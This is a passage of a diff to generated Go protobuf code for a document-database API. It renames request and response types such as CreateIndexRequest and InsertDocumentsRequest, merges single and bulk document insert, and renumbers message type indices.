protoimpl.X.MessageStringOf(x) } -func (*CollectionUpdateResponse) ProtoMessage() {} +func (*UpdateCollectionResponse) ProtoMessage() {} -func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { +func (x *UpdateCollectionResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -797,12 +797,12 @@ func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. -func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use UpdateCollectionResponse.ProtoReflect.Descriptor instead. +func (*UpdateCollectionResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{12} } -type IndexCreateRequest struct { +type CreateIndexRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -812,8 +812,8 @@ type IndexCreateRequest struct { IsUnique bool `protobuf:"varint,3,opt,name=isUnique,proto3" json:"isUnique,omitempty"` } -func (x *IndexCreateRequest) Reset() { - *x = IndexCreateRequest{} +func (x *CreateIndexRequest) Reset() { + *x = CreateIndexRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -821,13 +821,13 @@ func (x *IndexCreateRequest) Reset() { } } -func (x *IndexCreateRequest) String() string { +func (x *CreateIndexRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*IndexCreateRequest) ProtoMessage() {} +func (*CreateIndexRequest) ProtoMessage() {} -func (x *IndexCreateRequest) ProtoReflect() protoreflect.Message { +func (x *CreateIndexRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -839,40 +839,40 @@ func (x *IndexCreateRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use IndexCreateRequest.ProtoReflect.Descriptor instead. -func (*IndexCreateRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use CreateIndexRequest.ProtoReflect.Descriptor instead. +func (*CreateIndexRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{13} } -func (x *IndexCreateRequest) GetCollection() string { +func (x *CreateIndexRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *IndexCreateRequest) GetFields() []string { +func (x *CreateIndexRequest) GetFields() []string { if x != nil { return x.Fields } return nil } -func (x *IndexCreateRequest) GetIsUnique() bool { +func (x *CreateIndexRequest) GetIsUnique() bool { if x != nil { return x.IsUnique } return false } -type IndexCreateResponse struct { +type CreateIndexResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *IndexCreateResponse) Reset() { - *x = IndexCreateResponse{} +func (x *CreateIndexResponse) Reset() { + *x = CreateIndexResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -880,13 +880,13 @@ func (x *IndexCreateResponse) Reset() { } } -func (x *IndexCreateResponse) String() string { +func (x *CreateIndexResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*IndexCreateResponse) ProtoMessage() {} +func (*CreateIndexResponse) ProtoMessage() {} -func (x *IndexCreateResponse) ProtoReflect() protoreflect.Message { +func (x *CreateIndexResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -898,12 +898,12 @@ func (x *IndexCreateResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use IndexCreateResponse.ProtoReflect.Descriptor instead. -func (*IndexCreateResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use CreateIndexResponse.ProtoReflect.Descriptor instead. +func (*CreateIndexResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{14} } -type IndexDeleteRequest struct { +type DeleteIndexRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -912,8 +912,8 @@ type IndexDeleteRequest struct { Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` } -func (x *IndexDeleteRequest) Reset() { - *x = IndexDeleteRequest{} +func (x *DeleteIndexRequest) Reset() { + *x = DeleteIndexRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -921,13 +921,13 @@ func (x *IndexDeleteRequest) Reset() { } } -func (x *IndexDeleteRequest) String() string { +func (x *DeleteIndexRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*IndexDeleteRequest) ProtoMessage() {} +func (*DeleteIndexRequest) ProtoMessage() {} -func (x *IndexDeleteRequest) ProtoReflect() protoreflect.Message { +func (x *DeleteIndexRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -939,33 +939,33 @@ func (x *IndexDeleteRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use IndexDeleteRequest.ProtoReflect.Descriptor instead. -func (*IndexDeleteRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use DeleteIndexRequest.ProtoReflect.Descriptor instead. +func (*DeleteIndexRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{15} } -func (x *IndexDeleteRequest) GetCollection() string { +func (x *DeleteIndexRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *IndexDeleteRequest) GetFields() []string { +func (x *DeleteIndexRequest) GetFields() []string { if x != nil { return x.Fields } return nil } -type IndexDeleteResponse struct { +type DeleteIndexResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *IndexDeleteResponse) Reset() { - *x = IndexDeleteResponse{} +func (x *DeleteIndexResponse) Reset() { + *x = DeleteIndexResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -973,13 +973,13 @@ func (x *IndexDeleteResponse) Reset() { } } -func (x *IndexDeleteResponse) String() string { +func (x *DeleteIndexResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*IndexDeleteResponse) ProtoMessage() {} +func (*DeleteIndexResponse) ProtoMessage() {} -func (x *IndexDeleteResponse) ProtoReflect() protoreflect.Message { +func (x *DeleteIndexResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -991,22 +991,22 @@ func (x *IndexDeleteResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use IndexDeleteResponse.ProtoReflect.Descriptor instead. -func (*IndexDeleteResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use DeleteIndexResponse.ProtoReflect.Descriptor instead. +func (*DeleteIndexResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{16} } -type DocumentInsertRequest struct { +type InsertDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` } -func (x *DocumentInsertRequest) Reset() { - *x = DocumentInsertRequest{} +func (x *InsertDocumentsRequest) Reset() { + *x = InsertDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1014,13 +1014,13 @@ func (x *DocumentInsertRequest) Reset() { } } -func (x *DocumentInsertRequest) String() string { +func (x *InsertDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentInsertRequest) ProtoMessage() {} +func (*InsertDocumentsRequest) ProtoMessage() {} -func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { +func (x *InsertDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1032,136 +1032,26 @@ func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. -func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use InsertDocumentsRequest.ProtoReflect.Descriptor instead. +func (*InsertDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{17} } -func (x *DocumentInsertRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { - if x != nil { - return x.Document - } - return nil -} - -type DocumentInsertResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` -} - -func (x *DocumentInsertResponse) Reset() { - *x = DocumentInsertResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[18] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertResponse) ProtoMessage() {} - -func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[18] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertResponse.ProtoReflect.Descriptor instead. -func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{18} -} - -func (x *DocumentInsertResponse) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -func (x *DocumentInsertResponse) GetDocumentId() string { - if x != nil { - return x.DocumentId - } - return "" -} - -type DocumentInsertManyRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` -} - -func (x *DocumentInsertManyRequest) Reset() { - *x = DocumentInsertManyRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[19] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertManyRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertManyRequest) ProtoMessage() {} - -func (x *DocumentInsertManyRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[19] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertManyRequest.ProtoReflect.Descriptor instead. -func (*DocumentInsertManyRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{19} -} - -func (x *DocumentInsertManyRequest) GetCollection() string { +func (x *InsertDocumentsRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *DocumentInsertManyRequest) GetDocuments() []*structpb.Struct { +func (x *InsertDocumentsRequest) GetDocuments() []*structpb.Struct { if x != nil { return x.Documents } return nil } -type DocumentInsertManyResponse struct { +type InsertDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1170,23 +1060,23 @@ type DocumentInsertManyResponse struct { DocumentIds []string `protobuf:"bytes,2,rep,name=documentIds,proto3" json:"documentIds,omitempty"` } -func (x *DocumentInsertManyResponse) Reset() { - *x = DocumentInsertManyResponse{} +func (x *InsertDocumentsResponse) Reset() { + *x = InsertDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[20] + mi := &file_documents_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentInsertManyResponse) String() string { +func (x *InsertDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentInsertManyResponse) ProtoMessage() {} +func (*InsertDocumentsResponse) ProtoMessage() {} -func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[20] +func (x *InsertDocumentsResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1197,26 +1087,26 @@ func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentInsertManyResponse.ProtoReflect.Descriptor instead. -func (*DocumentInsertManyResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{20} +// Deprecated: Use InsertDocumentsResponse.ProtoReflect.Descriptor instead. +func (*InsertDocumentsResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{18} } -func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { +func (x *InsertDocumentsResponse) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } -func (x *DocumentInsertManyResponse) GetDocumentIds() []string { +func (x *InsertDocumentsResponse) GetDocumentIds() []string { if x != nil { return x.DocumentIds } return nil } -type DocumentUpdateRequest struct { +type UpdateDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1225,23 +1115,23 @@ type DocumentUpdateRequest struct { Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } -func (x *DocumentUpdateRequest) Reset() { - *x = DocumentUpdateRequest{} +func (x *UpdateDocumentRequest) Reset() { + *x = UpdateDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentUpdateRequest) String() string { +func (x *UpdateDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentUpdateRequest) ProtoMessage() {} +func (*UpdateDocumentRequest) ProtoMessage() {} -func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[21] +func (x *UpdateDocumentRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1252,26 +1142,26 @@ func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentUpdateRequest.ProtoReflect.Descriptor instead. -func (*DocumentUpdateRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{21} +// Deprecated: Use UpdateDocumentRequest.ProtoReflect.Descriptor instead. +func (*UpdateDocumentRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{19} } -func (x *DocumentUpdateRequest) GetQuery() *Query { +func (x *UpdateDocumentRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } -func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { +func (x *UpdateDocumentRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } return nil } -type DocumentUpdateResponse struct { +type UpdateDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1281,23 +1171,23 @@ type DocumentUpdateResponse struct { Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` } -func (x *DocumentUpdateResponse) Reset() { - *x = DocumentUpdateResponse{} +func (x *UpdateDocumentResponse) Reset() { + *x = UpdateDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentUpdateResponse) String() string { +func (x *UpdateDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentUpdateResponse) ProtoMessage() {} +func (*UpdateDocumentResponse) ProtoMessage() {} -func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[22] +func (x *UpdateDocumentResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1308,33 +1198,33 @@ func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentUpdateResponse.ProtoReflect.Descriptor instead. -func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{22} +// Deprecated: Use UpdateDocumentResponse.ProtoReflect.Descriptor instead. +func (*UpdateDocumentResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{20} } -func (x *DocumentUpdateResponse) GetTransactionId() uint64 { +func (x *UpdateDocumentResponse) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } -func (x *DocumentUpdateResponse) GetDocumentId() string { +func (x *UpdateDocumentResponse) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } -func (x *DocumentUpdateResponse) GetRevision() uint64 { +func (x *UpdateDocumentResponse) GetRevision() uint64 { if x != nil { return x.Revision } return 0 } -type DocumentSearchRequest struct { +type SearchDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1345,23 +1235,23 @@ type DocumentSearchRequest struct { PageSize uint32 `protobuf:"varint,4,opt,name=pageSize,proto3" json:"pageSize,omitempty"` } -func (x *DocumentSearchRequest) Reset() { - *x = DocumentSearchRequest{} +func (x *SearchDocumentsRequest) Reset() { + *x = SearchDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentSearchRequest) String() string { +func (x *SearchDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentSearchRequest) ProtoMessage() {} +func (*SearchDocumentsRequest) ProtoMessage() {} -func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[23] +func (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1372,33 +1262,33 @@ func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. -func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{23} +// Deprecated: Use SearchDocumentsRequest.ProtoReflect.Descriptor instead. +func (*SearchDocumentsRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{21} } -func (x *DocumentSearchRequest) GetSearchId() string { +func (x *SearchDocumentsRequest) GetSearchId() string { if x != nil { return x.SearchId } return "" } -func (x *DocumentSearchRequest) GetQuery() *Query { +func (x *SearchDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } -func (x *DocumentSearchRequest) GetPage() uint32 { +func (x *SearchDocumentsRequest) GetPage() uint32 { if x != nil { return x.Page } return 0 } -func (x *DocumentSearchRequest) GetPageSize() uint32 { +func (x *SearchDocumentsRequest) GetPageSize() uint32 { if x != nil { return x.PageSize } @@ -1418,7 +1308,7 @@ type Query struct { func (x *Query) Reset() { *x = Query{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1431,7 +1321,7 @@ func (x *Query) String() string { func (*Query) ProtoMessage() {} func (x *Query) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1444,7 +1334,7 @@ func (x *Query) ProtoReflect() protoreflect.Message { // Deprecated: Use Query.ProtoReflect.Descriptor instead. func (*Query) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{24} + return file_documents_proto_rawDescGZIP(), []int{22} } func (x *Query) GetCollection() string { @@ -1479,7 +1369,7 @@ type QueryExpression struct { func (x *QueryExpression) Reset() { *x = QueryExpression{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1492,7 +1382,7 @@ func (x *QueryExpression) String() string { func (*QueryExpression) ProtoMessage() {} func (x *QueryExpression) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1505,7 +1395,7 @@ func (x *QueryExpression) ProtoReflect() protoreflect.Message { // Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. func (*QueryExpression) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{25} + return file_documents_proto_rawDescGZIP(), []int{23} } func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { @@ -1528,7 +1418,7 @@ type FieldComparison struct { func (x *FieldComparison) Reset() { *x = FieldComparison{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1541,7 +1431,7 @@ func (x *FieldComparison) String() string { func (*FieldComparison) ProtoMessage() {} func (x *FieldComparison) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1554,7 +1444,7 @@ func (x *FieldComparison) ProtoReflect() protoreflect.Message { // Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. func (*FieldComparison) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{26} + return file_documents_proto_rawDescGZIP(), []int{24} } func (x *FieldComparison) GetField() string { @@ -1590,7 +1480,7 @@ type OrderByClause struct { func (x *OrderByClause) Reset() { *x = OrderByClause{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1603,7 +1493,7 @@ func (x *OrderByClause) String() string { func (*OrderByClause) ProtoMessage() {} func (x *OrderByClause) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[27] + mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1616,7 +1506,7 @@ func (x *OrderByClause) ProtoReflect() protoreflect.Message { // Deprecated: Use OrderByClause.ProtoReflect.Descriptor instead. func (*OrderByClause) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{27} + return file_documents_proto_rawDescGZIP(), []int{25} } func (x *OrderByClause) GetField() string { @@ -1633,7 +1523,7 @@ func (x *OrderByClause) GetDesc() bool { return false } -type DocumentSearchResponse struct { +type SearchDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1642,23 +1532,23 @@ type DocumentSearchResponse struct { Revisions []*DocumentAtRevision `protobuf:"bytes,2,rep,name=revisions,proto3" json:"revisions,omitempty"` } -func (x *DocumentSearchResponse) Reset() { - *x = DocumentSearchResponse{} +func (x *SearchDocumentsResponse) Reset() { + *x = SearchDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[28] + mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentSearchResponse) String() string { +func (x *SearchDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentSearchResponse) ProtoMessage() {} +func (*SearchDocumentsResponse) ProtoMessage() {} -func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[28] +func (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1669,19 +1559,19 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. -func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{28} +// Deprecated: Use SearchDocumentsResponse.ProtoReflect.Descriptor instead. +func (*SearchDocumentsResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{26} } -func (x *DocumentSearchResponse) GetSearchId() string { +func (x *SearchDocumentsResponse) GetSearchId() string { if x != nil { return x.SearchId } return "" } -func (x *DocumentSearchResponse) GetRevisions() []*DocumentAtRevision { +func (x *SearchDocumentsResponse) GetRevisions() []*DocumentAtRevision { if x != nil { return x.Revisions } @@ -1702,7 +1592,7 @@ type DocumentAtRevision struct { func (x *DocumentAtRevision) Reset() { *x = DocumentAtRevision{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1715,7 +1605,7 @@ func (x *DocumentAtRevision) String() string { func (*DocumentAtRevision) ProtoMessage() {} func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[29] + mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1728,7 +1618,7 @@ func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. func (*DocumentAtRevision) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{29} + return file_documents_proto_rawDescGZIP(), []int{27} } func (x *DocumentAtRevision) GetTransactionId() uint64 { @@ -1770,7 +1660,7 @@ type DocumentMetadata struct { func (x *DocumentMetadata) Reset() { *x = DocumentMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1783,7 +1673,7 @@ func (x *DocumentMetadata) String() string { func (*DocumentMetadata) ProtoMessage() {} func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1796,7 +1686,7 @@ func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentMetadata.ProtoReflect.Descriptor instead. func (*DocumentMetadata) Descriptor() ([]byte, []int) { - return 